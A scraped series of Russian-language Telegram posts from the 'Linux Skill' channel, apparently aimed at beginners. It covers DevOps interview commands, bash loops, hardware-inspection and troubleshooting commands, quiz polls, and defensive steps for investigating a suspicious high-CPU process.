🚀 Топ команды для DevOps: Что спрашивают на собеседованиях?
Привет, линукс-мастер! Сегодня я расскажу тебе о командах, которые часто спрашивают на собеседованиях для DevOps-инженеров. Эти команды помогут уверенно чувствовать себя на интервью и в повседневной работе.
Давай разберемся, что нужно знать 👇
🔧 Git
🐳 Docker
☸️ Kubernetes (kubectl)
🤖 Ansible
🌍 Terraform
🐧 Linux (bash)
🔄 CI/CD (GitLab, Jenkins, GitHub Actions)
GitLab CI/CD:
Jenkins:
GitHub Actions:
📌 Эти команды охватывают управление версиями, контейнеризацию, оркестрацию, автоматизацию и администрирование.
Изучи, запомни, сохрани — и чувствуй себя уверенно на любом собесе!
📩 Завтра: Укроти символические ссылки с namei -n!
Включи 🔔 чтобы не пропустить!
____________________
Дополнительный материал:
🧠 - Секреты Zabbix: Мониторинг веб-серверов без проблем
🧠 - Мониторинг серверов с помощью Zabbix: Настройка мониторинга SMART-дисков через Zabbix
🧠 - Измени группу файлов за секунды с помощью chgrp
#Linux_Mastery @LinuxSkill #devops #GitHub #Jenkins #GitLab #bash #Kubernetes #Docker #Git
Привет, линукс-мастер! Сегодня я расскажу тебе о командах, которые часто спрашивают на собеседованиях для DevOps-инженеров. Эти команды помогут уверенно чувствовать себя на интервью и в повседневной работе.
Давай разберемся, что нужно знать 👇
🔧 Git
git init # Инициализация нового репозитория
git clone <url> # Клонирование репозитория
git add <file> # Добавление файла к коммиту
git commit -m "сообщение" # Создание коммита
git push # Отправка изменений
git pull # Получение изменений
git branch # Список веток
git checkout <branch> # Переключение ветки
🐳 Docker
docker build -t <image_name> . # Создание образа
docker run -d -p 80:80 <image_name> # Запуск контейнера
docker ps # Список контейнеров
docker stop <container_id> # Остановка контейнера
docker rm <container_id> # Удаление контейнера
docker images # Список образов
docker rmi <image_id> # Удаление образа
☸️ Kubernetes (kubectl)
kubectl get pods # Список подов
kubectl get services # Список сервисов
kubectl describe pod <pod_name> # Информация о поде
kubectl logs <pod_name> # Логи пода
kubectl apply -f <file.yaml> # Применение конфигурации
kubectl delete pod <pod_name> # Удаление пода
kubectl exec -it <pod_name> -- /bin/bash # Подключение к поду
🤖 Ansible
ansible-playbook <playbook.yml> # Запуск плейбука
ansible <host> -m ping # Проверка хостов
ansible <host> -m command -a 'uptime' # Выполнение команды
ansible-galaxy install <role> # Установка роли
🌍 Terraform
terraform init # Инициализация
terraform plan # Планирование изменений
terraform apply # Применение изменений
terraform destroy # Удаление ресурсов
🐧 Linux (bash)
ls # Список файлов
cd <directory> # Переход в каталог
pwd # Текущий каталог
cp <source> <destination> # Копирование
mv <source> <destination> # Перемещение
rm <file> # Удаление
mkdir <directory> # Создание каталога
grep <pattern> <file> # Поиск шаблона
find <directory> -name <pattern> # Поиск файлов
chmod <permissions> <file> # Изменение прав
chown <user>:<group> <file> # Изменение владельца
top # Мониторинг процессов
ps aux # Список процессов
🔄 CI/CD (GitLab, Jenkins, GitHub Actions)
GitLab CI/CD:
.gitlab-ci.yml
gitlab-runner register
Jenkins:
jenkins-cli.jar
jenkins-jobs create <job_name>
GitHub Actions:
.github/workflows/<workflow>.yml
workflow_dispatch
📌 Эти команды охватывают управление версиями, контейнеризацию, оркестрацию, автоматизацию и администрирование.
Изучи, запомни, сохрани — и чувствуй себя уверенно на любом собесе!
📩 Завтра: Укроти символические ссылки с namei -n!
Включи 🔔 чтобы не пропустить!
____________________
Дополнительный материал:
🧠 - Секреты Zabbix: Мониторинг веб-серверов без проблем
🧠 - Мониторинг серверов с помощью Zabbix: Настройка мониторинга SMART-дисков через Zabbix
🧠 - Измени группу файлов за секунды с помощью chgrp
#Linux_Mastery @LinuxSkill #devops #GitHub #Jenkins #GitLab #bash #Kubernetes #Docker #Git
Telegram
Linux Skill - Освой Linux c нуля до DevOps
Секреты Zabbix: Мониторинг веб-серверов без проблем
Zabbix — это мощное решение для мониторинга, которое позволяет отслеживать состояние серверов и служб в реальном времени. В этом посте мы рассмотрим, как настроить Zabbix для мониторинга веб-серверов.
…
Zabbix — это мощное решение для мониторинга, которое позволяет отслеживать состояние серверов и служб в реальном времени. В этом посте мы рассмотрим, как настроить Zabbix для мониторинга веб-серверов.
…
👍17🔥4
🔗 Укроти символические ссылки с namei -n!
Привет, укротитель символических ссылок! Устал от бесконечных переходов по ссылкам? namei с опцией -n - твое секретное оружие!
Смотри, как это работает:
Обычный namei:
А теперь с опцией -n:
Видишь разницу? С -n namei останавливается на символической ссылке, не следуя за ней.
Это полезно когда:
1. Ты хочешь увидеть только структуру ссылок
2. Нужно избежать зацикливания в сложных структурах ссылок
3. Ты отлаживаешь проблемы с символическими ссылками
📩 Завтра: Вопрос №23 из теста Linux Essentials Certification
Включи 🔔 чтобы не пропустить!
____________________
Дополнительный материал:
🧠 - Автоматизируй управление группами файлов с chgrp
🧠 - Секреты успешного CI/CD: Gitea и GitHub Actions, которые ты должен знать
🧠 - Автоматизируй сборку и деплой с GitLab: практическое руководство
#Linux_Mastery @LinuxSkill #namei
Привет, укротитель символических ссылок! Устал от бесконечных переходов по ссылкам? namei с опцией -n - твое секретное оружие!
Смотри, как это работает:
Обычный namei:
namei /home/himanshu/link1
f: /home/himanshu/link1
d /
d home
d himanshu
l link1 -> file1
- file1
А теперь с опцией -n:
namei -n /home/himanshu/link1
f: /home/himanshu/link1
d /
d home
d himanshu
l link1 -> file1
Видишь разницу? С -n namei останавливается на символической ссылке, не следуя за ней.
Это полезно когда:
1. Ты хочешь увидеть только структуру ссылок
2. Нужно избежать зацикливания в сложных структурах ссылок
3. Ты отлаживаешь проблемы с символическими ссылками
📩 Завтра: Вопрос №23 из теста Linux Essentials Certification
Включи 🔔 чтобы не пропустить!
____________________
Дополнительный материал:
🧠 - Автоматизируй управление группами файлов с chgrp
🧠 - Секреты успешного CI/CD: Gitea и GitHub Actions, которые ты должен знать
🧠 - Автоматизируй сборку и деплой с GitLab: практическое руководство
#Linux_Mastery @LinuxSkill #namei
Telegram
Linux Skill - Освой Linux c нуля до DevOps
Автоматизируй управление группами файлов с chgrp!
Команда chgrp может значительно упростить управление правами доступа к файлам. Вот несколько трюков и скриптов, которые помогут автоматизировать этот процесс.
Основная информация:
1. Автоматическое изменение…
Команда chgrp может значительно упростить управление правами доступа к файлам. Вот несколько трюков и скриптов, которые помогут автоматизировать этот процесс.
Основная информация:
1. Автоматическое изменение…
👍11
Вопрос №23 из теста Linux Essentials Certification: Какого ключевого слова не хватает в следующем фрагменте shell-скрипта?
Anonymous Quiz
13%
fi
13%
then
54%
do
11%
run
8%
endo
👍10
Media is too big
VIEW IN TELEGRAM
🔥 7 шагов к безопасному серверу: домен, Nginx, Apache, SSL
Привет, архитектор серверов! 🚀
Если хочешь быстро развернуть защищённый сайт с Nginx и Apache — это видео для тебя.
Зачем смотреть?
✅ Поймешь, как правильно привязать домен.
✅ Настроишь связку Nginx + Apache.
✅ Защитишь проект с помощью SSL-сертификата.
Тайм-коды:
00:07 — Введение и настройка домена
01:46 — Создание пользователя и безопасных паролей
03:31 — Организация хранения паролей
05:16 — Проверка сервера и права доступа
07:47 — Получение и подключение SSL-сертификата
11:50 — Финальная проверка и планы на развитие
🌐 Источник: https://youtu.be/V67CjJOgKYw?si=PIIPoIf4mrXxxO5A
📩 Завтра: Вопрос №24 из теста Linux Essentials Certification
Включи 🔔 чтобы не пропустить!
____________________
Дополнительный материал:
🧠 - Docker и Docker Compose: От новичка до профи за 4 часа
🧠 - Секретное оружие Linux-админа: утилита, которая спасет твою карьеру
🧠 - Раскрой тайны файловой системы с помощью namei
#Linux_youtube @LinuxSkill #Linux #Apache #Nginx #DevOps #SSL
Привет, архитектор серверов! 🚀
Если хочешь быстро развернуть защищённый сайт с Nginx и Apache — это видео для тебя.
Зачем смотреть?
✅ Поймешь, как правильно привязать домен.
✅ Настроишь связку Nginx + Apache.
✅ Защитишь проект с помощью SSL-сертификата.
Тайм-коды:
00:07 — Введение и настройка домена
01:46 — Создание пользователя и безопасных паролей
03:31 — Организация хранения паролей
05:16 — Проверка сервера и права доступа
07:47 — Получение и подключение SSL-сертификата
11:50 — Финальная проверка и планы на развитие
🌐 Источник: https://youtu.be/V67CjJOgKYw?si=PIIPoIf4mrXxxO5A
📩 Завтра: Вопрос №24 из теста Linux Essentials Certification
Включи 🔔 чтобы не пропустить!
____________________
Дополнительный материал:
🧠 - Docker и Docker Compose: От новичка до профи за 4 часа
🧠 - Секретное оружие Linux-админа: утилита, которая спасет твою карьеру
🧠 - Раскрой тайны файловой системы с помощью namei
#Linux_youtube @LinuxSkill #Linux #Apache #Nginx #DevOps #SSL
👍8🔥7
Вопрос №24 из теста Linux Essentials Certification: Какой из следующих вариантов создаёт архивный файл с именем backup.tar, содержащий все файлы из директории /home?
Anonymous Quiz
14%
tar /home backup.tar
28%
tar -cf backup.tar /home
11%
tar -xf backup.tar /home
19%
tar -xf /home backup.tar
27%
tar -cf /home backup.tar
👍18👀5
Media is too big
VIEW IN TELEGRAM
⚡️ Bash Урок 1: Введение для новичков
Привет, будущий мастер командной строки! 👋
Сегодня стартуем первый урок большого курса по Bash.
Зачем смотреть?
Ты узнаешь, что такое Bash, зачем он нужен, как автоматизировать задачи через консоль и как сделать свои первые простые скрипты. Всё без сложных терминов и скучных теорий!
Таймкоды:
00:03 — Введение в Bash
01:33 — Основы командных оболочек
03:51 — Настройка PATH
06:18 — Создание и запуск скриптов
11:49 — Работа с подshell
12:46 — Использование shebang
14:06 — Права доступа и запуск скриптов
15:12 — Преимущества Bash
🌐 Источник: https://youtu.be/Le4R0nSKnfI?si=tQ-000EDHkY0ixyl
📩 Завтра: Шпаргалка по циклам в Bash
Включи 🔔 чтобы не пропустить!
____________________
Дополнительный материал:
🧠 - Траблшутинг Linux: Основные команды и примеры
🧠 - Linux: Мониторинг оперативной памяти — основные аспекты и инструменты
🧠 - 19 команд, которые сделают тебя гуру systemd!
#Linux_youtube @LinuxSkill #bash #linux #bashскрипты #обучение
Привет, будущий мастер командной строки! 👋
Сегодня стартуем первый урок большого курса по Bash.
Зачем смотреть?
Ты узнаешь, что такое Bash, зачем он нужен, как автоматизировать задачи через консоль и как сделать свои первые простые скрипты. Всё без сложных терминов и скучных теорий!
Таймкоды:
00:03 — Введение в Bash
01:33 — Основы командных оболочек
03:51 — Настройка PATH
06:18 — Создание и запуск скриптов
11:49 — Работа с подshell
12:46 — Использование shebang
14:06 — Права доступа и запуск скриптов
15:12 — Преимущества Bash
🌐 Источник: https://youtu.be/Le4R0nSKnfI?si=tQ-000EDHkY0ixyl
📩 Завтра: Шпаргалка по циклам в Bash
Включи 🔔 чтобы не пропустить!
____________________
Дополнительный материал:
🧠 - Траблшутинг Linux: Основные команды и примеры
🧠 - Linux: Мониторинг оперативной памяти — основные аспекты и инструменты
🧠 - 19 команд, которые сделают тебя гуру systemd!
#Linux_youtube @LinuxSkill #bash #linux #bashскрипты #обучение
👍22🔥5
🔁 Шпаргалка по циклам в Bash
✅ 1.
📌 Можно использовать маски:
🔁 2.
⏳ 3.
💥 4. Прерывание и пропуск итераций
📌 5.
🧠 Примечания:
- В цикле
- Внутри
- Переменные инкрементируются через
📩 Завтра: Почему бенчмарки в bash дают разные результаты?
Включи 🔔 чтобы не пропустить!
____________________
Дополнительный материал:
🧠 - Мастер-класс по iptables: вставляем, заменяем и удаляем правила
🧠 - Настраиваем iptables с нуля: Полный гайд по фильтрации пакетов
🧠 - Раскрой тайны владения файлами с namei -o!
#Linux_Mastery #Linux_youtube #Bash #циклы
✅ 1.
for — перебор элементовfor item in one two three; do
echo $item
done
📌 Можно использовать маски:
for file in *.txt; do
cat "$file"
done
🔁 2.
while — цикл пока условие истинноcount=1
while [ $count -le 5 ]; do
echo "Iteration $count"
((count++))
done
⏳ 3.
until — цикл пока условие ложноcount=1
until [ $count -gt 5 ]; do
echo "Until loop: $count"
((count++))
done
💥 4. Прерывание и пропуск итераций
break # Выход из цикла
continue # Пропустить текущую итерацию
📌 5.
for с диапазоном чиселfor i in {1..5}; do
echo "Num: $i"
done
🧠 Примечания:
- В цикле
for обязательно используй do- Внутри
while и until условия берутся в [ ]- Переменные инкрементируются через
(( )) или let📩 Завтра: Почему бенчмарки в bash дают разные результаты?
Включи 🔔 чтобы не пропустить!
____________________
Дополнительный материал:
🧠 - Мастер-класс по iptables: вставляем, заменяем и удаляем правила
🧠 - Настраиваем iptables с нуля: Полный гайд по фильтрации пакетов
🧠 - Раскрой тайны владения файлами с namei -o!
#Linux_Mastery #Linux_youtube #Bash #циклы
Telegram
Linux Skill - Освой Linux c нуля до DevOps
👩💻 Мастер-класс по iptables: вставляем, заменяем и удаляем правила!
Готов научиться жонглировать правилами iptables? Поехали!
Важно помнить: правила применяются сверху вниз. Поэтому иногда нужно не просто добавлять (-A), а именно вставлять (-I) правила.…
Готов научиться жонглировать правилами iptables? Поехали!
Важно помнить: правила применяются сверху вниз. Поэтому иногда нужно не просто добавлять (-A), а именно вставлять (-I) правила.…
👍22
🚀 Почему бенчмарки в bash дают разные результаты?
Привет, повелитель терминала! 🧙♂️
Запустил простой код:
А время выполнения прыгает от 0.9 до 2.2 секунд? Почему?
Ответ: CPU Frequency Scaling.
Процессор снижает частоту при простое и повышает под нагрузкой.
Из-за этого первое выполнение скрипта медленнее последующих.
Решение:
1. Зафиксировать максимальную частоту ядра:
2. Закрепить выполнение скрипта за одним ядром:
3. После теста вернуть режим энергосбережения:
Бонус: Делай "разогревочный" прогон перед реальными замерами и старайся минимизировать фоновую нагрузку.
🌐 Источник: https://unix.stackexchange.com/questions/777424/why-are-my-benchmark-times-not-repeatable-even-for-a-cpu-bound-task
📩 Завтра: Как узнать ВСЁ о железе и системе в Linux за 5 минут
Включи 🔔 чтобы не пропустить!
____________________
Дополнительный материал:
🧠 - Мастер-класс по iptables: вставляем, заменяем и удаляем правила
🧠 - Настраиваем iptables с нуля: Полный гайд по фильтрации пакетов
🧠 - Раскрой тайны владения файлами с namei -o!
#stackoverflow @LinuxSkill #linux #bash #benchmark #performance
Привет, повелитель терминала! 🧙♂️
Запустил простой код:
bash -c 'x=0; time while ((x < 999999)); do ((++x)); done'
А время выполнения прыгает от 0.9 до 2.2 секунд? Почему?
Ответ: CPU Frequency Scaling.
Процессор снижает частоту при простое и повышает под нагрузкой.
Из-за этого первое выполнение скрипта медленнее последующих.
Решение:
1. Зафиксировать максимальную частоту ядра:
sudo cpupower -c 0 frequency-set -g performance
2. Закрепить выполнение скрипта за одним ядром:
taskset -c 0 ./your-benchmark
3. После теста вернуть режим энергосбережения:
sudo cpupower -c 0 frequency-set -g powersave
Бонус: Делай "разогревочный" прогон перед реальными замерами и старайся минимизировать фоновую нагрузку.
🌐 Источник: https://unix.stackexchange.com/questions/777424/why-are-my-benchmark-times-not-repeatable-even-for-a-cpu-bound-task
📩 Завтра: Как узнать ВСЁ о железе и системе в Linux за 5 минут
Включи 🔔 чтобы не пропустить!
____________________
Дополнительный материал:
🧠 - Мастер-класс по iptables: вставляем, заменяем и удаляем правила
🧠 - Настраиваем iptables с нуля: Полный гайд по фильтрации пакетов
🧠 - Раскрой тайны владения файлами с namei -o!
#stackoverflow @LinuxSkill #linux #bash #benchmark #performance
Unix & Linux Stack Exchange
Why are my benchmark times not repeatable, even for a CPU-bound task?
I'm running some benchmarks on my Linux desktop/laptop computer, but I'm not getting reliable results. I'm running a CPU-intensive task that does negligible I/O and doesn't use much RAM. My compute...
👍17🔥1
🧠 Как узнать ВСЁ о железе и системе в Linux за 5 минут
Привет, линукс-мастер! 🐧
Хочешь быстро получить полную информацию о процессоре, памяти, дисках, устройствах USB и прочем железе в системе? Лови топ команд для диагностики без лишних движений:
⚙️ Системная информация
-
🖥️ Информация о железе
-
-
-
-
-
🧠 Процессор и память
-
-
-
🛠️ Диски и файловые системы
-
-
-
-
-
🔥 Дополнительно
-
-
-
🛡️ Все команды работают в терминале, без GUI. Удобно для серверов, VPS и быстрой диагностики локальных машин.
📩 Завтра: Вопрос №25 из теста Linux Essentials Certification
Включи 🔔 чтобы не пропустить!
____________________
Дополнительный материал:
🧠 - Превращаем namei в супер-ls с опцией -l!
🧠 - Prometheus: Все Основы Мониторинга — Почему Это Важно
🧠 - Раскрой тайны своего файрвола: просмотр правил iptables!
#Linux_Mastery @LinuxSkill #Linux #Sysadmin #Hardware #Terminal #Diagnostics
Привет, линукс-мастер! 🐧
Хочешь быстро получить полную информацию о процессоре, памяти, дисках, устройствах USB и прочем железе в системе? Лови топ команд для диагностики без лишних движений:
⚙️ Системная информация
-
uname -a — версия ядра и архитектура системы.🖥️ Информация о железе
-
lspci — список всех устройств на шинах PCI.-
lsusb — список USB-контроллеров и устройств.-
lshw — детальное описание железа.-
hwinfo — альтернатива lshw с расширенными данными.-
dmidecode — чтение таблицы DMI/SMBIOS (информация о BIOS, материнке, памяти).🧠 Процессор и память
-
lscpu — характеристики процессора.-
free -h — текущая загрузка ОЗУ.-
cat /proc/cpuinfo — подробности о CPU.🛠️ Диски и файловые системы
-
lsblk — список всех блочных устройств.-
blkid — метки разделов и UUID.-
fdisk -l, gdisk -l, parted -l — разметка дисков.-
df -h — свободное место на дисках.-
mount — список смонтированных разделов.🔥 Дополнительно
-
dmesg — лог загрузки ядра и сообщения устройств.-
hdparm -I /dev/sdX — характеристики жестких дисков.-
inxi -Fxz — сводный отчёт о системе и железе.🛡️ Все команды работают в терминале, без GUI. Удобно для серверов, VPS и быстрой диагностики локальных машин.
📩 Завтра: Вопрос №25 из теста Linux Essentials Certification
Включи 🔔 чтобы не пропустить!
____________________
Дополнительный материал:
🧠 - Превращаем namei в супер-ls с опцией -l!
🧠 - Prometheus: Все Основы Мониторинга — Почему Это Важно
🧠 - Раскрой тайны своего файрвола: просмотр правил iptables!
#Linux_Mastery @LinuxSkill #Linux #Sysadmin #Hardware #Terminal #Diagnostics
Telegram
Linux Skill - Освой Linux c нуля до DevOps
🚀 Превращаем namei в супер-ls с опцией -l!
Эй, гуру командной строки! Хочешь получить всю мощь ls в одной команде namei? Знакомься с опцией -l!
Вот как это выглядит:
namei -l /home/himanshu/Downloads/HTF-review/Nodejs-Docker/1.png
Результат тебя удивит:…
Эй, гуру командной строки! Хочешь получить всю мощь ls в одной команде namei? Знакомься с опцией -l!
Вот как это выглядит:
namei -l /home/himanshu/Downloads/HTF-review/Nodejs-Docker/1.png
Результат тебя удивит:…
👍39
Вопрос №25 из теста Linux Essentials Certification: Какой параметр заставит команду echo не выводить символ новой строки (перенос строки) в конце?
Anonymous Quiz
18%
-e
11%
-p
60%
-n
12%
-s
👀7👍3
Media is too big
VIEW IN TELEGRAM
⚡️ Bash Урок 2: Переменные, массивы и логика
Привет! 👋
Продолжаем наш курс по Bash. Сегодня разберём, как работают переменные, массивы и логические конструкции.
Зачем смотреть?
Если хочешь научиться писать скрипты, управлять данными и принимать решения в своих программах — тебе сюда! Всё подаётся просто, без воды.
Таймкоды:
00:03 — Введение в скриптовый язык Bash
01:32 — Переменные среды
05:43 — Пользовательские переменные
09:02 — Математические операции
15:02 — Массивы
20:03 — Ассоциативные массивы
24:30 — Создание ассоциативного массива
25:49 — Обращение к элементам массива
29:09 — Длина массива
33:07 — Установка и удаление элементов массива
35:05 — Добавление элементов в массив
38:09 — Логические конструкции
47:42 — Сравнение чисел
49:31 — Сравнение чисел (пример)
55:45 — Сравнение строк
01:07:27 — Проверка файлов
01:21:11 — Заключение
🌐 Источник: https://youtu.be/Vfp6O8xCYf0?si=md9BT0z7ACGRJbr_
📩 Завтра: Вопрос №25 из теста Linux Essentials Certification
Включи 🔔 чтобы не пропустить!
____________________
Дополнительный материал:
🧠 - BTRFS: Твой ключ к суперсиле файловых систем
🧠 - Профессиональная Установка Prometheus на Ubuntu: Полный Гайд
🧠 - Полный список команд и опций для mkfs.btrfs
#bash #linux #bashскрипты #обучение
Привет! 👋
Продолжаем наш курс по Bash. Сегодня разберём, как работают переменные, массивы и логические конструкции.
Зачем смотреть?
Если хочешь научиться писать скрипты, управлять данными и принимать решения в своих программах — тебе сюда! Всё подаётся просто, без воды.
Таймкоды:
00:03 — Введение в скриптовый язык Bash
01:32 — Переменные среды
05:43 — Пользовательские переменные
09:02 — Математические операции
15:02 — Массивы
20:03 — Ассоциативные массивы
24:30 — Создание ассоциативного массива
25:49 — Обращение к элементам массива
29:09 — Длина массива
33:07 — Установка и удаление элементов массива
35:05 — Добавление элементов в массив
38:09 — Логические конструкции
47:42 — Сравнение чисел
49:31 — Сравнение чисел (пример)
55:45 — Сравнение строк
01:07:27 — Проверка файлов
01:21:11 — Заключение
🌐 Источник: https://youtu.be/Vfp6O8xCYf0?si=md9BT0z7ACGRJbr_
📩 Завтра: Вопрос №25 из теста Linux Essentials Certification
Включи 🔔 чтобы не пропустить!
____________________
Дополнительный материал:
🧠 - BTRFS: Твой ключ к суперсиле файловых систем
🧠 - Профессиональная Установка Prometheus на Ubuntu: Полный Гайд
🧠 - Полный список команд и опций для mkfs.btrfs
#bash #linux #bashскрипты #обучение
👍16🔥3
Вопрос №26 из теста Linux Essentials Certification: Что означает аббревиатура LAMP?
Anonymous Quiz
2%
Сокращение от Lamport-clock, используемого в распределённых вычислениях
24%
Сокращение от Lightweight Access Management Protocol, который синхронизирует права доступа в сети
1%
ID шины USB-устройства, испускающего свет
59%
Комбинация Linux, Apache, MySQL и PHP (или другого языка программирования)
15%
Linux Advanced Mode Programming Interface, предоставляющий расширенные возможности разработчикам
👍14
Media is too big
VIEW IN TELEGRAM
🚀 Урок 3 — Освой циклы Bash
Привет! Продолжаем наш интенсив по Bash для новичков и не только.
Сегодня ты узнаешь, как работают основные циклы в Bash — for и while. Эти конструкции — основа автоматизации: от перебора файлов до создания генераторов паролей!
Зачем смотреть этот урок:
✅ Быстро освоишь перебор списков и файлов
✅ Научишься создавать скрипты с условиями
✅ Сможешь генерировать пароли своими руками
Тайм-коды для удобства:
00:04 — Введение в циклы
00:52 — Основы цикла for
01:43 — Примеры использования for
04:34 — Условные конструкции в цикле
07:06 — Проверка спецсимволов
11:02 — Работа с директориями
16:21 — Цикл for в стиле C
21:02 — Цикл while
25:39 — Сравнение for и while
27:59 — Создание генератора паролей
31:31 — Команды break и continue
37:20 — Заключение
🌐 Источник: https://youtu.be/7AyiVxVkY3M?si=xPm_IxlR5DIAJpxa
📩 Завтра: Процесс с неизвестным именем грузит CPU на 25000%! Что происходит?
Включи 🔔 чтобы не пропустить!
____________________
Дополнительный материал:
🧠 - Практическое использование mkfs.btrfs: Код и советы
🧠 - Установка Node Exporter на Linux серверах: Полный Гайд
🧠 - IPv6 и iptables: Мастер-класс по безопасности будущего
#Linux_youtube @LinuxSkill #bash #linux #noscripts #bashскрипты #программирование
Привет! Продолжаем наш интенсив по Bash для новичков и не только.
Сегодня ты узнаешь, как работают основные циклы в Bash — for и while. Эти конструкции — основа автоматизации: от перебора файлов до создания генераторов паролей!
Зачем смотреть этот урок:
✅ Быстро освоишь перебор списков и файлов
✅ Научишься создавать скрипты с условиями
✅ Сможешь генерировать пароли своими руками
Тайм-коды для удобства:
00:04 — Введение в циклы
00:52 — Основы цикла for
01:43 — Примеры использования for
04:34 — Условные конструкции в цикле
07:06 — Проверка спецсимволов
11:02 — Работа с директориями
16:21 — Цикл for в стиле C
21:02 — Цикл while
25:39 — Сравнение for и while
27:59 — Создание генератора паролей
31:31 — Команды break и continue
37:20 — Заключение
🌐 Источник: https://youtu.be/7AyiVxVkY3M?si=xPm_IxlR5DIAJpxa
📩 Завтра: Процесс с неизвестным именем грузит CPU на 25000%! Что происходит?
Включи 🔔 чтобы не пропустить!
____________________
Дополнительный материал:
🧠 - Практическое использование mkfs.btrfs: Код и советы
🧠 - Установка Node Exporter на Linux серверах: Полный Гайд
🧠 - IPv6 и iptables: Мастер-класс по безопасности будущего
#Linux_youtube @LinuxSkill #bash #linux #noscripts #bashскрипты #программирование
👍9🔥6
🚨 Процесс с неизвестным именем грузит CPU на 25000%! Что происходит?
Привет, повелитель терминала! На одном из серверов Linux обнаружили странный процесс:
- Имя вроде
- Процесс запущен от
- CPU загружено на 25369% (!)
- Файл процесса уже удалён:
Это может быть майнер или вредоносная программа. Простое перезагружение не решает проблему: процесс появляется снова.
🔍 Что делать:
1. Проверить родителя процесса:
2. Узнать командную строку процесса:
3. Скопировать бинарник для анализа:
4. Безопасно изучить его содержимое:
5. Проверить открытые файлы:
6. Изучить логи на момент запуска процесса:
📌 Важно: при компрометации — лучше переустановить систему с чистого образа!
🌐 Источник: https://unix.stackexchange.com/questions/782519/high-cpu-usage-by-process-with-obfuscated-name-on-linux-server-potential-attac
📩 Завтра: Как узнать ВСЁ о железе и системе в Linux за 5 минут
Включи 🔔 чтобы не пропустить!
____________________
Дополнительный материал:
🧠 - Неожиданные секреты Linux: 12 утилит, которые спасут твой сервер!
🧠 - Открой для себя 15 малоизвестных команд LINUX, которые изменят твою жизнь
🧠 - Как удалить экспортированную переменную окружения в Linux?
#stackoverflow @LinuxSkill #Linux #Security #Malware #CPU #Root
Привет, повелитель терминала! На одном из серверов Linux обнаружили странный процесс:
- Имя вроде
89cdb92b, потом меняется на другое (ac1e4262)- Процесс запущен от
root- CPU загружено на 25369% (!)
- Файл процесса уже удалён:
/proc/<PID>/exe → (deleted)Это может быть майнер или вредоносная программа. Простое перезагружение не решает проблему: процесс появляется снова.
🔍 Что делать:
1. Проверить родителя процесса:
pstree -sap <PID>
2. Узнать командную строку процесса:
ps -o args -p <PID>
3. Скопировать бинарник для анализа:
cp /proc/<PID>/exe /tmp/suspect_binary
4. Безопасно изучить его содержимое:
strings /tmp/suspect_binary
5. Проверить открытые файлы:
lsof -p <PID>
6. Изучить логи на момент запуска процесса:
journalctl -S 'YYYY-mm-dd HH:MM'
📌 Важно: при компрометации — лучше переустановить систему с чистого образа!
🌐 Источник: https://unix.stackexchange.com/questions/782519/high-cpu-usage-by-process-with-obfuscated-name-on-linux-server-potential-attac
📩 Завтра: Как узнать ВСЁ о железе и системе в Linux за 5 минут
Включи 🔔 чтобы не пропустить!
____________________
Дополнительный материал:
🧠 - Неожиданные секреты Linux: 12 утилит, которые спасут твой сервер!
🧠 - Открой для себя 15 малоизвестных команд LINUX, которые изменят твою жизнь
🧠 - Как удалить экспортированную переменную окружения в Linux?
#stackoverflow @LinuxSkill #Linux #Security #Malware #CPU #Root
Unix & Linux Stack Exchange
High CPU usage by process with obfuscated name on Linux server – Potential attack?
We have been experiencing high load issues on our Linux server recently. Upon checking with the
top
command, we noticed an unknown process with a garbled command name (as shown in following images;
top
command, we noticed an unknown process with a garbled command name (as shown in following images;
👍22
🛠️ 10 самых частых ошибок в Linux и как быстро их исправить
Привет, цифровые искатели приключений! 🧭
Если ты хоть раз настраивал Linux, ты точно натыкался на эти проблемы.
Лови экспресс-гайд, который спасет тебе часы нервов и дебага!
🛡️ Ошибки при обновлении и установке пакетов
- Почини сломанные зависимости:
- Очисти кэш и обнови пакеты:
🌐 Проблемы с сетью
- Проверь интерфейсы:
- Перезапусти сеть:
- Проверь DNS:
🔐 Проблемы с правами доступа
- Выполни команду от суперпользователя:
- Исправь права на файлы и каталоги:
🖥️ Проблемы с загрузкой системы
- Восстанови GRUB:
- Проверь файловую систему:
🗄️ Нет места на диске
- Посмотри занятое пространство:
- Очисти временные файлы:
📡 Проблемы с NFS
- Проверь и перезапусти сервисы:
🐍 Конфликты в Python
- Используй виртуальные окружения:
🔥 Проблемы с SELinux
- Просмотри логи:
- Переключи в permissive-режим:
🧩 Ошибки с модулями ядра
- Загрузи модуль вручную:
🔥 Проблемы с фаерволом
- Посмотри текущие правила:
- Открой нужный порт:
📚 Забирай эту базу знаний в закладки и экономь часы жизни! Проблемы больше не застанут тебя врасплох.
📩 Завтра: Reverse Shell на практике: подключаемся к скрытому серверу за 1 минуту
Включи 🔔 чтобы не пропустить!
________________
Дополнительный материал:
🧠 - Открой секреты своей системы: 18 команд которые должен знать каждый линуксоид!
🧠 - Осторожно: Никогда не запускай эти 11 команд в Linux!
🧠 - Защита SSH-сервера: порты, ключи и iptables
#Linux_Mastery @LinuxSkill #Linux #Troubleshooting #Errors #Sysadmin #DevOps
Привет, цифровые искатели приключений! 🧭
Если ты хоть раз настраивал Linux, ты точно натыкался на эти проблемы.
Лови экспресс-гайд, который спасет тебе часы нервов и дебага!
🛡️ Ошибки при обновлении и установке пакетов
- Почини сломанные зависимости:
sudo apt-get install -f
- Очисти кэш и обнови пакеты:
sudo apt-get clean
sudo apt-get update
🌐 Проблемы с сетью
- Проверь интерфейсы:
ip a
- Перезапусти сеть:
sudo systemctl restart NetworkManager
- Проверь DNS:
cat /etc/resolv.conf
🔐 Проблемы с правами доступа
- Выполни команду от суперпользователя:
sudo <command>
- Исправь права на файлы и каталоги:
sudo chmod 755 /path/to/dir
sudo chown user:user /path/to/file
🖥️ Проблемы с загрузкой системы
- Восстанови GRUB:
sudo grub-install /dev/sda
sudo update-grub
- Проверь файловую систему:
sudo fsck /dev/sda1
🗄️ Нет места на диске
- Посмотри занятое пространство:
df -h
- Очисти временные файлы:
sudo apt-get clean
sudo rm -rf /var/cache/apt/archives/*
📡 Проблемы с NFS
- Проверь и перезапусти сервисы:
sudo systemctl status nfs-server
sudo systemctl restart nfs-server
🐍 Конфликты в Python
- Используй виртуальные окружения:
python3 -m venv myenv
source myenv/bin/activate
pip install <package>
🔥 Проблемы с SELinux
- Просмотри логи:
sudo ausearch -m avc -ts recent
- Переключи в permissive-режим:
sudo setenforce 0
🧩 Ошибки с модулями ядра
- Загрузи модуль вручную:
lsmod
sudo modprobe <module>
🔥 Проблемы с фаерволом
- Посмотри текущие правила:
sudo iptables -L
- Открой нужный порт:
sudo iptables -A INPUT -p tcp --dport 80 -j ACCEPT
